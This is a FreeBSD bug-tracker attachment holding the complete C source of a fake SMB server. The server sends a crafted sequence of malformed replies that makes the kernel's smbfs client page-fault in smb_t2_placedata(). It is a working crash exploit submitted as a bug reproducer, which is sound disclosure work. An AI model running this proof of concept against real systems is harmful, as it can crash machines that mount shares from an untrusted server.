FreeBSD Bugzilla – Attachment 232940 Details for
Bug 263043
malformed SMB reply can page-fault the kernel in smb_t2_placedata()
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Help
|
New Account
|
Log In
Remember
[x]
|
Forgot Password
Login:
[x]
fake SMB server that provokes a page-fault in the kernel smb client's smb_t2_placedata()
saxs1.c (text/plain), 13.24 KB, created by
Robert Morris
on 2022-04-04 17:44:05 UTC
(
hide
)
Description:
fake SMB server that provokes a page-fault in the kernel smb client's smb_t2_placedata()
Filename:
MIME Type:
Creator:
Robert Morris
Created:
2022-04-04 17:44:05 UTC
Size:
13.24 KB
patch
obsolete
> >#include <stdio.h> >#include <stdlib.h> >#include <assert.h> >#include <unistd.h> >#include <string.h> >#include <fcntl.h> >#include <signal.h> >#include <sys/wait.h> >#include <sys/socket.h> >#include <arpa/inet.h> >#include <sys/select.h> >#include <sys/resource.h> >#include <netinet/in.h> >#include <time.h> >#include <sys/stat.h> > >// saxs.trace >char trace[] = { >0x04, 0x00, // server #0 >0x82, 0x00, 0x00, 0x00, >0x5b, 0x00, // server #1 >0x00, 0x00, 0x00, 0x57, 0xff, 0x53, 0x4d, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0xff, 0xff, 0x00, 0x00, 0x11, 0x06, 0x00, 0x03, 0x32, 0x00, 0x01, 0x00, 0x04, 0x41, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x5a, 0x00, 0x00, 0x00, 0xfd, 0xf3, 0x80, 0x00, 0x4d, 0x6e, 0xd1, 0x32, 0x40, 0x48, 0xd8, 0x01, 0x00, 0x00, 0x08, 0x12, 0x00, 0xd1, 0x05, 0xfc, 0x6e, 0x74, 0x36, 0x9a, 0xeb, 0x58, 0x00, 0x58, 0x00, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, >0x4b, 0x00, // server #2 >0x00, 0x00, 0x00, 0x47, 0xff, 0x53, 0x4d, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0xe3, 0x5d, 0x01, 0x00, 0x03, 0xff, 0x00, 0x00, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x36, 0x2e, 0x31, 0x00, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x20, 0x34, 0x2e, 0x31, 0x32, 0x2e, 0x31, 0x35, 0x00, 0x58, 0x58, 0x58, 0x00, >0x35, 0x00, // server #3 >0x00, 0x00, 0x00, 0x31, 0xff, 0x53, 0x4d, 0x42, 0x75, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x02, 0x00, 0x03, 0xff, 0x00, 0x00, 0x00, 0x01, 0x00, 0x08, 0x00, 0x41, 0x3a, 0x00, 0x4e, 0x54, 0x46, 0x53, 0x00, >0x54, 0x00, // server #4 >0x00, 0x00, 0x00, 0x50, 0xff, 0x53, 0x4d, 0x42, 0x32, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x03, 0x00, 0x0a, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x18, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0xd8, 0xc8, 0x16, 0x01, 0x00, 0x00, 0x00, 0x00, 0x78, 0xf7, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, >0x27, 0x00, // server #5 >0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42, 0x32, 0x01, 0x00, 0x02, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x04, 0x00, 0x00, 0x00, 0x00, >0x27, 0x00, // server #6 >0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x05, 0x00, 0x00, 0x00, 0x00, >0x8c, 0x00, // server #7 >0x00, 0x00, 0x00, 0x88, 0xff, 0x53, 0x4d, 0x42, 0x32, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x06, 0x00, 0x0a, 0x0a, 0x00, 0x44, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x38, 0x00, 0x00, 0x00, 0x44, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xae, 0xff, 0x35, 0x40, 0x48, 0xd8, 0x01, 0xae, 0xdc, 0xff, 0x35, 0x40, 0x48, 0xd8, 0x01, 0x80, 0xf1, 0xff, 0x35, 0x40, 0x48, 0xd8, 0x01, 0x80, 0xf1, 0xff, 0x35, 0x40, 0x48, 0xd8, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, >0x8c, 0x00, // server #8 >0x00, 0x00, 0x00, 0x88, 0xff, 0x53, 0x4d, 0x42, 0x32, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x07, 0x00, 0x0a, 0x0a, 0x00, 0x44, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x38, 0x00, 0x00, 0x00, 0x44, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xae, 0xff, 0x35, 0x40, 0x48, 0xd8, 0x01, 0xae, 0xdc, 0xff, 0x35, 0x40, 0x48, 0xd8, 0x01, 0x80, 0xf1, 0xff, 0x35, 0x40, 0x48, 0xd8, 0x01, 0x80, 0xf1, 0xff, 0x35, 0x40, 0x48, 0xd8, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, >0x27, 0x00, // server #9 >0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42, 0x32, 0x01, 0x00, 0x02, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x08, 0x00, 0x00, 0x00, 0x00, >0x29, 0x00, // server #10 >0x00, 0x00, 0x00, 0x25, 0xff, 0x53, 0x4d, 0x42, 0x03, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x09, 0x00, 0x01, 0xe8, 0x69, 0x00, 0x00, >0x27, 0x00, // server #11 >0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42, 0x04, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x0a, 0x00, 0x00, 0x00, 0x00, >0x8c, 0x00, // server #12 >0x00, 0x00, 0x00, 0x88, 0xff, 0x53, 0x4d, 0x42, 0x32, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x0b, 0x00, 0x0a, 0x0a, 0x00, 0x44, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x38, 0x00, 0x00, 0x00, 0x44, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe4, 0x56, 0x8e, 0x38, 0x40, 0x48, 0xd8, 0x01, 0xa6, 0x58, 0x8e, 0x38, 0x40, 0x48, 0xd8, 0x01, 0x00, 0x8f, 0xe0, 0x37, 0x40, 0x48, 0xd8, 0x01, 0x00, 0x8f, 0xe0, 0x37, 0x40, 0x48, 0xd8, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, >0x35, 0x00, // server #13 >0x00, 0x00, 0x00, 0x31, 0xff, 0x53, 0x4d, 0x42, 0x02, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x0c, 0x00, 0x07, 0x15, 0xba, 0x20, 0x00, 0x56, 0x1b, 0x4b, 0x62, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, >0x33, 0x00, // server #14 >0x00, 0x00, 0x00, 0x2f, 0xff, 0x53, 0x4d, 0x42, 0x2f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x0d, 0x00, 0x06, 0xff, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, >0x8c, 0x00, // server #15 >0x00, 0x00, 0x00, 0x88, 0xff, 0x53, 0x4d, 0x42, 0x32, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x0e, 0x00, 0x0a, 0x0a, 0x00, 0x44, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x38, 0x00, 0x00, 0x00, 0x44, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe4, 0x56, 0x8e, 0x38, 0x40, 0x48, 0xd8, 0x01, 0xa6, 0x58, 0x8e, 0x38, 0x40, 0x48, 0xd8, 0x01, 0x00, 0x8f, 0xe0, 0x37, 0x40, 0x48, 0xd8, 0x01, 0x00, 0x8f, 0xe0, 0x37, 0x40, 0x48, 0xd8, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, >0x27, 0x00, // server #16 >0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42, 0x04, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x0f, 0x00, 0x00, 0x00, 0x00, >0x8c, 0x00, // server #17 >0x00, 0x00, 0x00, 0x88, 0xff, 0x53, 0x4d, 0x42, 0x32, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x10, 0x00, 0x0a, 0x0a, 0x00, 0x44, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x38, 0x00, 0x00, 0x00, 0x44, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xae, 0xff, 0x35, 0x40, 0x48, 0xd8, 0x01, 0xae, 0xdc, 0xff, 0x35, 0x40, 0x48, 0xd8, 0x01, 0x1c, 0xba, 0x8e, 0x38, 0x40, 0x48, 0xd8, 0x01, 0x1c, 0xba, 0x8e, 0x38, 0x40, 0x48, 0xd8, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, >0x8c, 0x00, // server #18 >0x00, 0x00, 0x00, 0x88, 0xff, 0x53, 0x4d, 0x42, 0x32, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x11, 0x00, 0x0a, 0x0a, 0x00, 0x44, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x38, 0x00, 0x00, 0x00, 0x44, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe4, 0x56, 0x8e, 0x38, 0x40, 0x48, 0xd8, 0x01, 0xa6, 0x58, 0x8e, 0x38, 0x40, 0x48, 0xd8, 0x01, 0x00, 0x8f, 0xe0, 0x37, 0x40, 0x48, 0xd8, 0x01, 0x00, 0x8f, 0xe0, 0x37, 0x40, 0x48, 0xd8, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, >0x8c, 0x00, // server #19 >0x00, 0x00, 0x00, 0x88, 0xff, 0x53, 0x4d, 0x42, 0x32, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x00, 0xe3, 0x5d, 0x12, 0x00, 0x0a, 0x0a, 0x00, 0x44, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x38, 0x00, 0x00, 0x00, 0x44, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe4, 0x56, 0x8e, 0x38, 0x40, 0x48, 0xd8, 0x01, 0xa6, 0x58, 0x8e, 0x38, 0x40, 0x48, 0xd8, 0x01, 0x00, 0x8f, 0xe0, 0x37, 0x40, 0x48, 0xd8, 0x01, 0x00, 0x8f, 0xe0, 0x37, 0x40, 0x48, 0xd8, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, >}; > >int >readable(int fd) >{ > fd_set readfds; > FD_ZERO(&readfds); > FD_SET(fd, &readfds); > struct timeval tv; > memset(&tv, 0, sizeof(tv)); > tv.tv_usec = 500 * 1000; > int ss = select(fd + 1, &readfds, (fd_set*)0, (fd_set*)0, &tv); > return FD_ISSET(fd, &readfds); >} > >void >middle(int client) >{ > int nclient = 0; > int nserver = 0; > int si = 0; > > while(1){ > char buf[2048]; > int cc; > > while(1){ > cc = read(client, buf, sizeof(buf)); > printf("client #%d %d\n", nclient, cc); > if(cc <= 0){ > return; > } > nclient += 1; > if(!readable(client)) > break; > } > > if(si >= sizeof(trace)) > break; > assert(si + 2 <= sizeof(trace)); > int n = (trace[si]&0xff) | ((trace[si+1]&0xff) << 8); > si += 2; > assert(si + n <= sizeof(trace)); > > memset(buf, 0, sizeof(buf)); > memcpy(buf, trace+si, n); > > if(write(client, buf, n) != n){ > perror("write to client"); > exit(1); > } > > si += n; > nserver += 1; > } >} > >int main(int argc, char **argv) >{ > struct rlimit r; > r.rlim_cur = r.rlim_max = 0; > setrlimit(RLIMIT_CORE, &r); > signal(SIGPIPE, SIG_IGN); > > system("rm -rf /tmp/x /tmp/y /tmp/z"); > > int s = socket(AF_INET, SOCK_STREAM, 0); > struct sockaddr_in sin; > memset(&sin, 0, sizeof(sin)); > sin.sin_family = AF_INET; > sin.sin_port = htons(1399); > if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){ > perror("bind"); exit(1); > } > if(listen(s, 10) < 0) { perror("listen"); exit(1); } > > if(fork() == 0){ > system("mount_smbfs -I 127.0.0.1 -N -W XXX //guest@samba:1399/test /mnt"); > printf("mounted\n"); > > printf("mkdir /mnt/x:\n"); > system("mkdir /mnt/x"); > > printf("create /mnt/x/y:\n"); > int fd = creat("/mnt/x/y", 0666); > if(fd < 0) perror("/mnt/x/y"); > > printf("write:\n"); > if(write(fd, "x", 1) < 0) perror("write"); > > printf("close:\n"); > close(fd); > > printf("rename /mnt/x/y /mnt/x/z:\n"); > if(rename("/mnt/x/y", "/mnt/x/z") != 0) perror("rename"); > > printf("stat /mnt/x/y:\n"); > struct stat sb; > stat("/mnt/x/y", &sb); > > printf("stat /mnt/x/z:\n"); > stat("/mnt/x/z", &sb); > > printf("ls /mnt/x:\n"); > system("ls /mnt/x"); > > printf("chmod ogu+rwx /mnt/x/z:\n"); > system("chmod ogu+rwx /mnt/x/z"); > > printf("chdir /mnt/x:\n"); > if(chdir("/mnt/x") != 0) perror("chdir /mnt/x"); > > printf("rm -rf /tmp/x:\n"); > system("rm -rf /tmp/x ; echo abcd1234 > /tmp/x ; chmod ogu+rwx /tmp/x"); > > printf("creat zzz:\n"); > fd = creat("zzz", 0666); > if(fd < 0) perror("creat zzz"); > close(fd); > > chdir("/"); > > printf("unmounting\n"); > system("umount /mnt"); > > exit(0); > } > > socklen_t sinlen = sizeof(sin); > int cfd = accept(s, (struct sockaddr *) &sin, &sinlen); > if(cfd < 0) { perror("accept"); exit(1); } > printf("accepted\n"); > > middle(cfd); >}
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 263043
: 232940